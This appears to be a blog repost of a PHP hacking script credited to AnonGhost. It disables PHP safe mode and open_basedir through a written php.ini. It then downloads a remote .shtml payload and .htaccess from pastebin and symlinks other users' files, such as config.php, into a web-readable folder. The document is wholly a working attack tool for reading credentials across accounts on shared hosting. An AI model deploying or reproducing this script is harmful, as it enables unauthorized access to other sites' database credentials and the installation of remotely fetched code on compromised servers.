[PHP] Shtml Bypass Symlink Via Error
<?php ?><html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Bypass Symlink 2014</title><link rel="shortcut icon" href="http://www.iconj.com/ico/2/j/2j62fbaa2w.ico" type="image/x-icon" />
</head>
<?php
// Extract php.ini //
$fp = fopen("php.ini","w+");
fwrite($fp,"Safe_mode = OFF
Safe_mode_gid = OFF
Disable_Functions = NONE
Open_basedir = OFF");
echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:green;>Shtml Bypass Symlink Via Error Coded By Mauritania Attacker</b></b><br><p align="center">';
echo'
<form method="post">
<input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
<input type="text" name="ghostfile" value="ghost.txt" size="60"/><br /><br />
<input type="submit" value="Bypass" name="symlink" /> <br /><br />
</form>
';
echo '<div class="tul"><b>PHP VERSION:</b> <font color="009900" face="shell, Geneva, sans-serif" style="font-size: 8pt">';echo phpversion();
$fichier = $_POST['file'];
$ghostfile = $_POST['ghostfile'];
$symlink = $_POST['symlink'];
if ($symlink)
{
$dir = "shtml";
if(file_exists($dir)) {
echo "<br><font color='red'>[+] shtml Folder Already Exist _ are you Drunk XD !!!</font><br />
";
} else {
@mkdir($dir); {
echo "<br><font color='red'>\!/ shtml Folder Created ^_^ \!/</font><br />
";
echo "<br><font color='red'>\!/ $ghostfile Retrieved Successfully ^_^ \!/</font><br />
";
} }
// Extract Priv8 shtml File //
$priv9 = file_get_contents('http://pastebin.com/raw.php?i=1PsE4tx0');
$f =@fopen ('shtml/ghost.shtml','w');
@fwrite($f , $priv9);
$homepage = file_get_contents('http://pastebin.com/raw.php?i=uNBZw8LK');
$f =@fopen ('shtml/.htaccess','w');
@fwrite($f , $homepage);
@symlink("$fichier","shtml/$ghostfile");
echo '<br /><a target="_blank" href="shtml/" >'.$ghostfile.'</a>';
}
echo"<h3>
GreetZ To : AnonGhost - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG</h3>
";
echo"AnonGhost Team";
?>
[PHP] Shtml Bypass Symlink Via Error
Reviewed by Nguyen Nam Hong
on
10:29 AM
Rating: